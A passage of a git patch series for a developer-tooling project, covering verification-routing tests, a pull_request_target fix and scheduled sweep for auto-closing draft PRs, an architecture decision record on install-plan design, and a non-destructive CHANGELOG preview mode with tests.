() => { + const verifierPath = path.join(__dirname, '..', 'agents', 'gsd-verifier.md'); + const content = fs.readFileSync(verifierPath, 'utf-8'); + + const emittedStatuses = new Set(); + + // Source (a): decision-tree arrow lines — `→ **status: **` + // These are the per-branch emission points in Step 9 (the decision tree). + const reArrow = /→ \*\*status:\s*([a-z_]+)\*\*/g; + let m; + while ((m = reArrow.exec(content)) !== null) { + emittedStatuses.add(m[1]); + } + + // Source (b): output-template line — `status: A | B | C` (pipe-delimited list + // of permitted values inside the frontmatter template block in the section). + // Anchored to lines that start with `status:` and contain `|` to avoid false + // matches on prose sentences that happen to mention "status:". + const reTemplate = /^status:\s+([a-z_]+(?:\s*\|\s*[a-z_]+)+)\s*$/gm; + while ((m = reTemplate.exec(content)) !== null) { + for (const token of m[1].split('|')) { + const t = token.trim(); + if (t) emittedStatuses.add(t); + } + } + + assert.ok( + emittedStatuses.size > 0, + 'No emitted statuses found in gsd-verifier.md — regex or file path may be wrong. ' + + 'Checked: (a) → **status: X** arrow lines, (b) status: A | B | C template lines.', + ); + + for (const s of emittedStatuses) { + assert.ok( + s in VERIFICATION_ROUTING_TABLE, + `gsd-verifier.md emits status '${s}' but VERIFICATION_ROUTING_TABLE has no entry for it. ` + + 'Add a route or remove/rename the status in gsd-verifier.md.', + ); + } + }); + + // ── Edge cases ──────────────────────────────────────────────────────────── + + // CRLF line endings in frontmatter + test('CRLF line endings in frontmatter → correct status parsed', () => { + const dir = mkPhaseDir('crlf'); + try { + // Construct a file with CRLF line endings throughout + const content = '---\r\nstatus: passed\r\nphase: 01-demo\r\n---\r\n\r\n# Body\r\n'; + fs.writeFileSync(path.join(dir, '01-crlf-VERIFICATION.md'), content); + const result = readVerificationStatus(dir); + assert.equal(result.status, 'passed', 'CRLF frontmatter must parse to passed'); + assert.equal(result.next_command, ''); + } finally { + cleanup(dir); + } + }); + + // File with NO frontmatter block — body-only `status:` line must NOT be matched + test('body-only file with no frontmatter block (status: in body) → missing', () => { + const dir = mkPhaseDir('no-fm'); + try { + // No opening `---` — this is a plain markdown file with a status: line in the body + const content = '# Phase Verification\n\nstatus: passed\n\nSome notes.\n'; + fs.writeFileSync(path.join(dir, '01-nofm-VERIFICATION.md'), content); + const result = readVerificationStatus(dir); + assert.equal( + result.status, + 'missing', + "A body-only status: line must NOT be read — result should be 'missing'", + ); + } finally { + cleanup(dir); + } + }); + + // Missing / nonexistent phase directory → missing + test('nonexistent phase directory → missing', () => { + const nonexistent = path.join(os.tmpdir(), 'gsd-651-nonexistent-' + Date.now()); + const result = readVerificationStatus(nonexistent); + assert.equal(result.status, 'missing', 'unreadable/nonexistent dir must return missing'); + assert.equal(result.next_command, '/gsd:execute-phase'); + }); + + // Multiple *-VERIFICATION.md files → deterministic pick (first by sort) + test('multiple *-VERIFICATION.md files in dir → first by sort order wins', () => { + const dir = mkPhaseDir('multi'); + try { + // Write two files: alphabetically "01-a" comes before "02-b" + // "01-a" has passed; "02-b" has gaps_found — first by sort must win + const fm = (status) => `---\nstatus: ${status}\n---\n`; + fs.writeFileSync(path.join(dir, '01-a-VERIFICATION.md'), fm('passed')); + fs.writeFileSync(path.join(dir, '02-b-VERIFICATION.md'), fm('gaps_found')); + const result = readVerificationStatus(dir); + assert.equal( + result.status, + 'passed', + 'When multiple *-VERIFICATION.md files exist, the first by lexicographic sort must be used', + ); + } finally { + cleanup(dir); + } + }); + + // ── Task 2 (B1): ship.md gate sentinel contract anchor ──────────────────── + // + // The deleted tests/ship-586-verification-routing.test.cjs was the only + // thing asserting that ship.md emits the PHASE_VERIFICATION_INCOMPLETE block + // sentinel (its user-visible gate error key). This test re-anchors that contract. + // + test('ship.md still emits the PHASE_VERIFICATION_INCOMPLETE gate sentinel (contract anchor for #651 consolidation)', () => { + const shipMdPath = path.join(__dirname, '..', 'gsd-core', 'workflows', 'ship.md'); + const content = fs.readFileSync(shipMdPath, 'utf-8'); + assert.ok( + content.includes('PHASE_VERIFICATION_INCOMPLETE'), + 'ship.md must contain the literal PHASE_VERIFICATION_INCOMPLETE gate sentinel. ' + + 'If you renamed or removed it, update the verification routing and this contract test.', + ); + }); + +}); From f44605093e108de4c37aa72115a8e89260713135 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sun, 7 Jun 2026 09:45:18 -0400 Subject: [PATCH 38/94] fix(#758): trigger draft-PR auto-close on pull_request_target (#760) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Bare `pull_request` hands fork PRs a read-only GITHUB_TOKEN, so the close/comment API calls 403 and a first-time/external contributor's draft PR survives — bypassing the auto-close for exactly the population the job targets. Switch to `pull_request_target`, which runs in the base-repo context with a write-capable token even for fork PRs. Safe because the job never checks out or executes PR-supplied code; it only reads event metadata and calls the GitHub API. The minimal `permissions: pull-requests: write` block still constrains the token. Add a regression guard in tests/workflow-maintainer-skip.test.cjs asserting the workflow triggers on pull_request_target and not bare pull_request. Co-authored-by: Claude Opus 4.8 --- .github/workflows/close-draft-prs.yml | 13 ++++++++++++- tests/workflow-maintainer-skip.test.cjs | 12 ++++++++++++ 2 files changed, 24 insertions(+), 1 deletion(-) diff --git a/.github/workflows/close-draft-prs.yml b/.github/workflows/close-draft-prs.yml index f2d361e89..6f8eda5cf 100644 --- a/.github/workflows/close-draft-prs.yml +++ b/.github/workflows/close-draft-prs.yml @@ -1,7 +1,18 @@ name: Close Draft PRs +# pull_request_target (not pull_request) so the job runs in the base-repo +# context with a write-capable token even for PRs from forks. Without this, +# fork PRs from first-time/external contributors get a read-only GITHUB_TOKEN +# and the close/comment API calls 403 — letting them bypass the auto-close. +# Safe because this job only reads event metadata and never checks out or +# executes PR-supplied code. +# Residual platform limitation: GitHub deliberately does NOT trigger +# pull_request_target for fork branches whose names look like a Git SHA, so a +# contributor could still evade this by naming their head branch like a commit +# hash. Fully closing that gap needs a scheduled base-context sweep (separate +# concern); a draft PR that evades this still cannot merge and still fails the other gates. on: - pull_request: + pull_request_target: types: [opened, reopened, converted_to_draft] concurrency: diff --git a/tests/workflow-maintainer-skip.test.cjs b/tests/workflow-maintainer-skip.test.cjs index 64233d25c..60e78ff5a 100644 --- a/tests/workflow-maintainer-skip.test.cjs +++ b/tests/workflow-maintainer-skip.test.cjs @@ -29,6 +29,18 @@ describe('PR policy workflow maintainer carve-outs', () => { assertMaintainerSkip(workflow); }); + test('draft PR auto-close triggers on pull_request_target so fork PRs cannot bypass it', () => { + const workflow = readWorkflow('.github/workflows/close-draft-prs.yml'); + + // A bare `pull_request` trigger hands fork PRs (how first-time/external + // contributors contribute) a read-only GITHUB_TOKEN, so the close/comment + // API calls 403 and the draft PR survives — bypassing the auto-close. + // `pull_request_target` runs in the base-repo context with a write-capable + // token. Guard against a regression back to the bypassable trigger. + assert.match(workflow, /^\s*pull_request_target:/m); + assert.doesNotMatch(workflow, /^\s*pull_request:\s*$/m); + }); + test('PR target validator does not run for maintainer-authored PRs', () => { const workflow = readWorkflow('.github/workflows/pr-target-validator.yml'); From 3011b937ad6e2b17aa4df017583e7539451a59f0 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sun, 7 Jun 2026 09:55:25 -0400 Subject: [PATCH 39/94] docs(#58): add ADR for Runtime Install Policy Module boundary (#762) Record the Runtime Install Policy Module decision and ownership boundary: install policy projects a pure, typed install plan by composing artifact placements (ADR-3660) and command text (ADR-0009) plus per-runtime config intentions, with no filesystem IO; runtime adapters consume the plan and execute concrete file mutations and format-specific config rendering. Explicitly records what stays outside the policy module (TOML/JSON/Markdown serialization, merge semantics, filesystem effects). Adds the ADR index row in docs/adr/README.md and a glossary entry in CONTEXT.md. Leads the installer-refactor chain (#58 -> #60 -> #56). Co-authored-by: Claude Opus 4.8 --- CONTEXT.md | 3 ++ docs/adr/58-runtime-install-policy-module.md | 56 ++++++++++++++++++++ docs/adr/README.md | 1 + 3 files changed, 60 insertions(+) create mode 100644 docs/adr/58-runtime-install-policy-module.md diff --git a/CONTEXT.md b/CONTEXT.md index 13357f78c..0a15b14ff 100644 --- a/CONTEXT.md +++ b/CONTEXT.md @@ -118,6 +118,9 @@ Module owning which skills and agents are written to runtime config directories ### Runtime Artifact Layout Module Module owning the per-runtime mapping from artifact kind to filesystem placement. ADR-3660 defines the typed `kinds` per runtime (`commands`, `agents`, `skills`) with destination subpath, prefix, and stage adapter (with per-runtime converters in `bin/install.js`: `convertClaudeCommandToClaudeSkill`, `…CodexSkill`, `…CopilotSkill`, `…AntigravitySkill`). Phase 1 applies this seam to the Runtime Surface Module (`surface.cjs:applySurface`). Phase 2 is planned to migrate install/uninstall in `bin/install.js` so all lifecycle sites iterate one shared layout table instead of re-encoding runtime layout logic. This design is intended to remove the #3659 class of omissions. Migrations remain under the Installer Migration Module (ADR-0008). See ADR-3660. +### Runtime Install Policy Module +Projects a pure, typed install plan for a given runtime by composing artifact placements (Runtime Artifact Layout Module), command text (Shell Command Projection Module), and per-runtime config intentions — with no filesystem IO or format-specific serialization. Runtime-specific adapters consume the plan and execute concrete file mutations and config rendering. See ADR-58. + ### Knowledge Graph Module Module owning the graphify integration: config gate (`isGraphifyEnabled`), disabled response (`disabledResponse`), subprocess helper (`execGraphify`, typed `GRAPHIFY_REASON` enum), presence detection (`checkGraphifyInstalled`), version checking (`checkGraphifyVersion`), query surface (`graphifyQuery` — BFS seed-expand + budget trim), status surface (`graphifyStatus` — node/edge counts, mtime staleness, commit-staleness tri-state via `built_at_commit`/`commits_behind`/`commit_stale`), diff surface (`graphifyDiff` — added/removed/changed nodes+edges), build pre-flight (`graphifyBuild`), snapshot management (`writeSnapshot`). Reads `.planning/config.json:graphify.enabled` as config gate; writes to `.planning/graphs/`. Auto-update hook (`hooks/gsd-graphify-update.sh`) triggers a detached background rebuild after HEAD-advancing git operations on the default branch when `graphify.auto_update=true`. Status file `.planning/graphs/.last-build-status.json` carries `{ ts, status, exit_code, duration_ms, head_at_build, graphify_version }`. Graph IR uses `nodes[]`, `edges[]` (or `links[]` for graphify ≥0.7 compat), `hyperedges[]`, `built_at_commit`. `commit_stale` is tri-state: `false` (known fresh), `true` (stale), `null` (unknown — no git or pre-v0.7 graph). Source: `gsd-core/bin/lib/graphify.cjs`. Skill: `commands/gsd/graphify.md`. diff --git a/docs/adr/58-runtime-install-policy-module.md b/docs/adr/58-runtime-install-policy-module.md new file mode 100644 index 000000000..5cbe35794 --- /dev/null +++ b/docs/adr/58-runtime-install-policy-module.md @@ -0,0 +1,56 @@ +# Runtime Install Policy Module owns the typed install-plan projection + +- **Status:** Accepted +- **Date:** 2026-06-07 +- **Issue:** #58 + +## Context + +Runtime install logic is currently spread across one-off helper functions. `getGlobalDir(runtime, explicitDir)` in `bin/install.js` switch-dispatches to per-runtime helpers (`getOpencodeGlobalDir`, `getKiloGlobalDir`), and `getAgentsDir` lives separately in `src/core.cts`. These helpers resolve directories at ~11 call sites and are free to drift from the behavior that install and runtime-query paths actually expect, because nothing owns the *composition* of an install decision as a single value. + +Two adjacent seams already exist: + +- **ADR-3660 (Runtime Artifact Layout Module)** owns *where* per-runtime artifacts (commands, agents, skills) are placed. +- **ADR-0009 (Shell Command Projection Module)** owns runtime-aware *command text* rendering (quoting, path style, wrapper prefixes). + +But no ADR owns composing those — placements + command text + per-runtime config intentions — into one unified, typed install-plan projection. That missing seam is why directory/config logic re-derives itself ad hoc at each call site. + +## Decision + +Introduce a **Runtime Install Policy Module** as the seam that, given a runtime and an install context, **projects a pure, typed `InstallPlan` value** describing everything that should happen for that runtime. The projection: + +- composes artifact placements by delegating to the Runtime Artifact Layout Module (ADR-3660), +- composes command text by delegating to the Shell Command Projection Module (ADR-0009), +- declares config *intentions* (which config files need which keys/values for that runtime), +- performs **no filesystem IO** and **no format-specific serialization** while resolving the plan. + +Concrete execution is owned by runtime-specific **adapters** (made explicit as a registry in #60). Adapters consume the `InstallPlan` and perform the effectful work: file mutations, directory creation, and rendering format-specific config (TOML, JSON, Markdown) for their runtime. + +This follows the repository's established pure-policy-projects / thin-adapters-execute pattern (ADR-0001, Dispatch Policy Module): the `InstallPlan` is the narrow waist, resolution stays free of IO, and callers become thin adapters over a stable interface rather than re-deriving directory logic. + +## What stays OUTSIDE the policy module + +To keep the abstraction honest about the filesystem boundary, the following are explicitly **not** the policy module's responsibility and remain in the runtime adapters: + +- Concrete TOML / JSON / Markdown read-modify-write and serialization. +- Merge semantics for pre-existing config files (preserving user keys, ordering, formatting). +- Filesystem effects: directory creation, atomic write/rename, existence/permission checks. +- Any path resolution that requires touching the disk. + +The policy module resolves *intent* as data; adapters turn that intent into bytes on disk. + +## Consequences + +- Install logic becomes testable as pure data: assert the projected `InstallPlan` for a runtime without a filesystem. +- The scattered directory helpers (`getGlobalDir`, `getOpencodeGlobalDir`, `getKiloGlobalDir`, `getAgentsDir`) gain a single projection to migrate onto, retiring or narrowing them (tracked in #56). +- The plan/adapter contract becomes a stability surface that must be held narrow; drift there reintroduces the very divergence this seam removes. +- Rollout is incremental, not big-bang: this ADR establishes the boundary (#58); the explicit Runtime Adapter Registry lands next (#60); legacy helper retirement follows (#56); downstream cleanup in #57. + +## References + +- ADR-0001 — Dispatch Policy Module (pure-policy-projects / thin-adapters-execute precedent). +- ADR-3660 — Runtime Artifact Layout Module (per-runtime artifact placement; delegated to by this projection). +- ADR-0009 — Shell Command Projection Module (runtime-aware command text; delegated to by this projection). +- ADR-0008 — Installer Migration Module (adjacent installer seam). +- `CONTEXT.md` § Glossary — Domain modules and seams (the architecture seam map / glossary this module is registered in). +- Installer-refactor chain: #58 (this ADR) → #60 (explicit adapter registry) → #56 (retire legacy directory helpers) → #57. diff --git a/docs/adr/README.md b/docs/adr/README.md index f59e54ce6..612e4891f 100644 --- a/docs/adr/README.md +++ b/docs/adr/README.md @@ -54,6 +54,7 @@ See **[CONTRIBUTING.md — "Proposing an ADR or PRD"](../../CONTRIBUTING.md#prop | [456-test-rigor-architecture.md](456-test-rigor-architecture.md) | Test-rigor architecture — deterministic scheduling, antagonistic tier, typed-surface mandate, delete-bad-tests policy | Accepted | | [457-generated-cjs-single-source.md](457-generated-cjs-single-source.md) | Collapse hand-written CJS to generated single-source | Proposed | | [660-release-from-next-head.md](660-release-from-next-head.md) | Release from the head of next; immutable release tags; @next dist-tag as the RC surface | Proposed | +| [58-runtime-install-policy-module.md](58-runtime-install-policy-module.md) | Runtime Install Policy Module owns the typed install-plan projection | Accepted | ## Seam map From 5237fae537b30d760ef4e99dcfb1583133af9f25 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sun, 7 Jun 2026 10:05:21 -0400 Subject: [PATCH 40/94] feat(#759): non-destructive CHANGELOG preview in the rc release job (#763) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The rc action publishes a release candidate to @next for testing but never surfaces the curated CHANGELOG section for the version under test — render only runs destructively at finalize (#715), so there was no safe way to preview the upcoming notes during the RC window. Add a --preview mode to scripts/changeset/cli.cjs cmdRender: it renders the dated release section to stdout via the existing renderChangelog/ serializeChangelog path (with priorChangelog: null, so only the new section is emitted), reuses the shared injectEmptyPlaceholder helper for zero-fragment releases, and returns WITHOUT writing CHANGELOG.md or deleting any .changeset fragment. Wire a "Preview CHANGELOG" step into the rc job that renders to a file (standalone command, so a malformed fragment fails the step) and cats it to the job summary and log. Closes #759 Co-authored-by: Claude Opus 4.8 --- .github/workflows/release.yml | 23 +++++++ docs/branching.md | 1 + scripts/changeset/cli.cjs | 63 ++++++++++++++++--- tests/changeset-cli.test.cjs | 111 +++++++++++++++++++++++++++++++++- 4 files changed, 187 insertions(+), 11 deletions(-) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index bc2494f99..52145edee 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -370,6 +370,29 @@ jobs: node scripts/check-npm-integrity.cjs npm run test:coverage:unit + - name: Preview CHANGELOG (non-destructive) + env: + VERSION: ${{ inputs.version }} + run: | + # Non-destructive CHANGELOG preview for the version under test (#759): + # renders the curated section finalize will promote, without writing + # CHANGELOG.md or consuming .changeset fragments. Surfaced in the job + # summary so RC testers see the upcoming release notes. + # + # Render to a file as a standalone command so a non-zero exit (e.g. a + # malformed fragment) fails the step. The default GitHub Linux shell + # is `bash -e` without pipefail, so a `node | tee` pipeline would mask + # a node failure behind tee's exit 0. + PREVIEW_FILE="${RUNNER_TEMP:-/tmp}/changelog-preview.md" + node scripts/changeset/cli.cjs render \ + --version "$VERSION" --date "$(date -u +%F)" --preview > "$PREVIEW_FILE" + { + echo "### CHANGELOG preview for v${VERSION} (not yet promoted)" + echo '' + cat "$PREVIEW_FILE" + } >> "${GITHUB_STEP_SUMMARY:-/dev/null}" + cat "$PREVIEW_FILE" + - name: Commit pre-release version bump env: PRE_VERSION: ${{ steps.prerelease.outputs.pre_version }} diff --git a/docs/branching.md b/docs/branching.md index 2f1edd960..22398239f 100644 --- a/docs/branching.md +++ b/docs/branching.md @@ -167,6 +167,7 @@ When `next` has accumulated enough work to ship a new minor/major. - Each fix should also be PR'd to `next` so the next release has it too (or wait for the auto-back-merge after finalize) - Trigger `rc` action to publish RC builds: 1.28.0-rc.1, rc.2, ... + - Each `rc` run also prints a non-destructive preview of the curated `## [X.Y.0]` CHANGELOG section in the Actions job summary — rendered from the `.changeset/` fragments without consuming them — so you can review the upcoming release notes during RC testing. 4. When stable: trigger `finalize`. - Publishes to npm @latest diff --git a/scripts/changeset/cli.cjs b/scripts/changeset/cli.cjs index 283120679..92fc65af8 100755 --- a/scripts/changeset/cli.cjs +++ b/scripts/changeset/cli.cjs @@ -42,6 +42,7 @@ function parseArgs(argv) { installCommand: `npx ${packageName}@latest`, json: false, allowEmpty: false, + preview: false, }; if (argv.length === 0) return { ok: true, opts }; opts.cmd = argv[0]; @@ -62,6 +63,7 @@ function parseArgs(argv) { const a = argv[i]; if (a === '--json') { opts.json = true; continue; } if (a === '--allow-empty') { opts.allowEmpty = true; continue; } + if (a === '--preview') { opts.preview = true; continue; } if ( a === '--repo' || a === '--version' || @@ -133,6 +135,19 @@ function assembleChangelog(lead, releaseBlock) { ].join('\n'); } +// Insert a "_No notable changes._" placeholder after the dated release heading +// of an otherwise-empty release block. serializeChangelog with no sections +// yields just "## [v] - d\n"; we expand the trailing newline into a blank line +// + placeholder + blank line so parseChangelog still sees the dated heading +// first and the output is human-readable. Shared by the --allow-empty and +// --preview zero-fragment paths so they can never drift. +function injectEmptyPlaceholder(headerOnlyBlock) { + return headerOnlyBlock.replace( + /^(##\s+\[[^\]]+\][^\n]*)\n+/, + '$1\n\n_No notable changes._\n\n', + ); +} + function cmdRender(opts) { const repo = path.resolve(opts.repo); const changesetDir = path.join(repo, '.changeset'); @@ -156,6 +171,38 @@ function cmdRender(opts) { // 2. Read priorText once; reuse in all subsequent branches. const priorText = fs.existsSync(changelogPath) ? fs.readFileSync(changelogPath, 'utf8') : ''; + // Preview mode (#759): render the dated release section WITHOUT writing + // CHANGELOG.md and WITHOUT consuming .changeset fragments. Used by the rc + // release job to surface the curated notes for the version under test while + // leaving the fragment set intact for the eventual finalize render. + if (opts.preview) { + // priorChangelog is intentionally null: a preview shows ONLY the new dated + // section for the version under test, not the full file history. + // serializeChangelog appends priorChangelog verbatim, so passing the prior + // text here would dump every past release into the rc job summary. + const ir = renderChangelog({ + fragments, + version: opts.version, + date: opts.date, + priorChangelog: null, + }); + let releaseBlock = serializeChangelog(ir); + if (fragments.length === 0) { + // Mirror --allow-empty: a no-fragment release still shows a dated heading + // with a placeholder rather than an empty block. + releaseBlock = injectEmptyPlaceholder(releaseBlock); + } + return { + exitCode: 0, + report: { + consumed: 0, + failures: [], + preview: releaseBlock, + fragmentCount: fragments.length, + }, + }; + } + // 3. FIX 1: idempotency guard — if the version is already promoted (a dated // release heading for this version already exists in CHANGELOG), split on // whether fragments are still present: @@ -201,15 +248,7 @@ function cmdRender(opts) { priorChangelog: prior || null, }); const headerOnlyBlock = serializeChangelog(ir); - // Insert placeholder after the release header line. - // serializeChangelog with no sections yields just "## [v] - d\n" (single - // trailing newline, no blank line). We replace that trailing newline with - // a blank line + placeholder + blank line so parseChangelog still sees the - // dated heading first and the file is human-readable. - const releaseBlock = headerOnlyBlock.replace( - /^(##\s+\[[^\]]+\][^\n]*)\n+/, - '$1\n\n_No notable changes._\n\n', - ); + const releaseBlock = injectEmptyPlaceholder(headerOnlyBlock); // FIX 2: use shared assembleChangelog helper. const out = assembleChangelog(lead, releaseBlock); fs.writeFileSync(changelogPath, out); @@ -460,7 +499,8 @@ function cmdGithubReleaseNotes(opts) { function usage() { return [ 'usage:', - ' changeset/cli.cjs render --repo --version V --date D [--allow-empty] [--json]', + ' changeset/cli.cjs render --repo --version V --date D [--allow-empty] [--preview] [--json]', + ' --preview renders the dated section to stdout without writing CHANGELOG.md or consuming fragments.', ' changeset/cli.cjs github-release-notes --repo --from REF --to REF [--output FILE] [--repo-slug OWNER/REPO] [--install-command CMD] [--json]', ' changeset/cli.cjs extract --from VERSION --to VERSION [--changelog FILE] [--repo ] [--json]', ' Extracts changelog entries strictly after --from (exclusive) and up to', @@ -525,6 +565,9 @@ function main() { const { exitCode, report } = opts.cmd === 'render' ? cmdRender(opts) : cmdGithubReleaseNotes(opts); if (opts.json) { process.stdout.write(JSON.stringify(report, null, 2) + '\n'); + } else if (opts.cmd === 'render' && opts.preview) { + // render --preview: emit the rendered section verbatim (no mutation occurred). + process.stdout.write(report.preview); } else if (opts.cmd === 'github-release-notes' && report.body) { process.stdout.write(report.body); } else { diff --git a/tests/changeset-cli.test.cjs b/tests/changeset-cli.test.cjs index 03ed3b5e5..72b80c91e 100644 --- a/tests/changeset-cli.test.cjs +++ b/tests/changeset-cli.test.cjs @@ -1,7 +1,7 @@ 'use strict'; process.env.GSD_TEST_MODE = '1'; -const { test, describe, before, after } = require('node:test'); +const { test, describe, before, after, beforeEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('node:fs'); const os = require('node:os'); @@ -36,6 +36,11 @@ function runRender(args = []) { }; } +function runRenderRaw(args = []) { + const r = cp.spawnSync(process.execPath, [SCRIPT, 'render', '--repo', tmp, ...args], { encoding: 'utf8' }); + return { status: r.status, stdout: r.stdout || '', stderr: r.stderr || '' }; +} + before(() => { tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-changeset-')); }); after(() => { cleanup(tmp); }); @@ -928,3 +933,107 @@ describe('changeset cli render --allow-empty', () => { } }); }); + +// --------------------------------------------------------------------------- +// GROUP D — render --preview (#759) +// --------------------------------------------------------------------------- + +describe('changeset cli render --preview (#759)', () => { + // Helper: reset the shared tmp dir to a clean state for preview tests. + function resetTmp() { + // Remove CHANGELOG.md if present. + const changelogPath = path.join(tmp, 'CHANGELOG.md'); + if (fs.existsSync(changelogPath)) { + fs.unlinkSync(changelogPath); + } + // Remove any leftover .changeset/*.md fragments. + const changesetDir = path.join(tmp, '.changeset'); + if (fs.existsSync(changesetDir)) { + for (const f of fs.readdirSync(changesetDir)) { + if (f.endsWith('.md') && f !== 'README.md') { + fs.unlinkSync(path.join(changesetDir, f)); + } + } + } + } + + // Reset state before each preview test so a new test added to this group + // can never inherit a CHANGELOG.md or fragments left by the previous one. + beforeEach(resetTmp); + + test('render --preview prints the section to stdout and mutates nothing', () => { + writeFragment('preview-frag-one', 'Added', 900, 'preview-added-feature'); + + const fragmentPath = path.join(tmp, '.changeset', 'preview-frag-one.md'); + const r = runRenderRaw(['--version', '9.9.0', '--date', '2026-01-02', '--preview']); + + assert.equal(r.status, 0, `expected exit 0; stderr=${r.stderr}`); + assert.ok(r.stdout.includes('## [9.9.0]'), `stdout must contain ## [9.9.0]; got: ${r.stdout}`); + assert.ok(r.stdout.includes('### Added'), `stdout must contain ### Added; got: ${r.stdout}`); + assert.ok(r.stdout.includes('preview-added-feature'), `stdout must contain fragment body; got: ${r.stdout}`); + + // CHANGELOG.md must NOT have been created. + assert.ok(!fs.existsSync(path.join(tmp, 'CHANGELOG.md')), 'CHANGELOG.md must NOT be created by --preview'); + + // Fragment file must still exist. + assert.ok(fs.existsSync(fragmentPath), 'fragment file must still exist after --preview'); + }); + + test('render --preview with zero fragments emits the placeholder and writes nothing', () => { + // No fragments written — zero-fragment scenario. + + const r = runRenderRaw(['--version', '9.9.0', '--date', '2026-01-02', '--preview']); + + assert.equal(r.status, 0, `expected exit 0; stderr=${r.stderr}`); + assert.ok(r.stdout.includes('## ['), `stdout must contain a release heading; got: ${r.stdout}`); + assert.ok(r.stdout.includes('_No notable changes._'), `stdout must contain placeholder; got: ${r.stdout}`); + + // CHANGELOG.md must NOT have been created. + assert.ok(!fs.existsSync(path.join(tmp, 'CHANGELOG.md')), 'CHANGELOG.md must NOT be created by zero-fragment --preview'); + }); + + test('render --preview --json returns preview text in report with consumed 0', () => { + writeFragment('preview-frag-two', 'Fixed', 901, 'preview-fixed-bug'); + + const fragmentPath = path.join(tmp, '.changeset', 'preview-frag-two.md'); + // runRender appends --json automatically. + const r = runRender(['--version', '9.9.0', '--date', '2026-01-02', '--preview']); + + assert.equal(r.status, 0, `expected exit 0; stderr=${r.stderr}`); + assert.ok(r.report, 'report must be parseable JSON'); + assert.strictEqual(r.report.consumed, 0, 'consumed must be 0 for preview'); + assert.strictEqual(r.report.fragmentCount, 1, 'fragmentCount must be 1'); + assert.ok(typeof r.report.preview === 'string', 'report.preview must be a string'); + assert.ok(r.report.preview.includes('## [9.9.0]'), `report.preview must contain ## [9.9.0]; got: ${r.report.preview}`); + + // Fragment file must still exist. + assert.ok(fs.existsSync(fragmentPath), 'fragment file must still exist after --preview --json'); + }); + + test('render --preview with an existing CHANGELOG.md leaves it byte-identical and shows only the new section', () => { + // Seed an existing CHANGELOG with a prior dated release. + const changelogPath = path.join(tmp, 'CHANGELOG.md'); + const existing = + '# Changelog\n\n## [1.0.0] - 2020-01-01\n\n### Added\n\n- old prior feature (#1)\n'; + fs.writeFileSync(changelogPath, existing); + writeFragment('preview-frag-three', 'Added', 902, 'brand-new-thing'); + const before = fs.readFileSync(changelogPath, 'utf8'); + + const r = runRenderRaw(['--version', '9.9.0', '--date', '2026-01-02', '--preview']); + + assert.equal(r.status, 0, `expected exit 0; stderr=${r.stderr}`); + // Output shows the new section... + assert.ok(r.stdout.includes('## [9.9.0]'), `stdout must contain new heading; got: ${r.stdout}`); + assert.ok(r.stdout.includes('brand-new-thing'), `stdout must contain new fragment body; got: ${r.stdout}`); + // ...and NOT the prior release history (preview is the new section only). + assert.ok(!r.stdout.includes('## [1.0.0]'), `preview must NOT include prior releases; got: ${r.stdout}`); + assert.ok(!r.stdout.includes('old prior feature'), `preview must NOT include prior bullets; got: ${r.stdout}`); + + // Existing CHANGELOG.md must be byte-identical — preview mutates nothing. + assert.strictEqual( + fs.readFileSync(changelogPath, 'utf8'), + before, + 'CHANGELOG.md must be byte-identical after --preview', + ); + }); +}); From 60e2e5e5f3008d56b6ac1c4e18d8625f5d97d9ce Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sun, 7 Jun 2026 10:11:54 -0400 Subject: [PATCH 41/94] feat(#761): add scheduled base-context sweep to close SHA-branch-evading draft PRs (#765) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit close-draft-prs.yml (on pull_request_target after #760) cannot close fork draft PRs whose head branch name looks like a Git SHA — GitHub never dispatches pull_request_target for such branches, and a pull_request run from a fork gets a read-only token. So a draft PR on a SHA-named fork branch evades the auto-close. Add close-draft-prs-sweep.yml: a schedule (every 6h) + workflow_dispatch sweep running in base-repo context with pull-requests: write that paginates open PRs, filters to non-OWNER/MEMBER/COLLABORATOR drafts, and closes + comments them with the identical policy/message as the event-driven workflow. Re-fetches each candidate before mutating (TOCTOU guard), closes before commenting so enforcement is never gated on the explanatory comment, and core.setFailed on partial failures. The per-PR workflow remains the fast path; this is the safety net for the documented residual bypass. Extends tests/workflow-maintainer-skip.test.cjs with structural guards locking the triggers, write permission, maintainer carve-out, pagination, and message. Co-authored-by: Claude Opus 4.8 --- .github/workflows/close-draft-prs-sweep.yml | 112 ++++++++++++++++++++ tests/workflow-maintainer-skip.test.cjs | 32 ++++++ 2 files changed, 144 insertions(+) create mode 100644 .github/workflows/close-draft-prs-sweep.yml diff --git a/.github/workflows/close-draft-prs-sweep.yml b/.github/workflows/close-draft-prs-sweep.yml new file mode 100644 index 000000000..160bea5f7 --- /dev/null +++ b/.github/workflows/close-draft-prs-sweep.yml @@ -0,0 +1,112 @@ +name: Close Draft PRs (sweep) + +# Companion to close-draft-prs.yml. That workflow runs per-PR on +# pull_request_target and is the fast path. GitHub does NOT dispatch +# pull_request_target for fork branches whose names look like a Git SHA, so a +# fork draft PR on a SHA-named branch can never be closed by any PR-triggered +# event (a pull_request run from a fork gets a read-only token). This scheduled +# sweep runs in the base-repo context with a write-capable token and enforces +# the identical policy on a timer, catching that evasion. See issue #761. + +on: + schedule: + - cron: '0 */6 * * *' + workflow_dispatch: + +concurrency: + group: close-draft-prs-sweep + cancel-in-progress: false + +permissions: + pull-requests: write + +jobs: + sweep-draft-prs: + name: Sweep open draft PRs + runs-on: ubuntu-latest + steps: + - name: Close non-maintainer draft PRs + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 + with: + script: | + // Maintainers may use draft PRs for internal coordination — same + // carve-out as close-draft-prs.yml. A scheduled run has no + // github.event.pull_request, so the carve-out is applied here as a + // Set membership test over author_association. + const MAINTAINER_ASSOCIATIONS = new Set(['OWNER', 'MEMBER', 'COLLABORATOR']); + const repoUrl = context.repo.owner + '/' + context.repo.repo; + + const commentBody = [ + '## Draft PRs are not accepted', + '', + 'This project only accepts 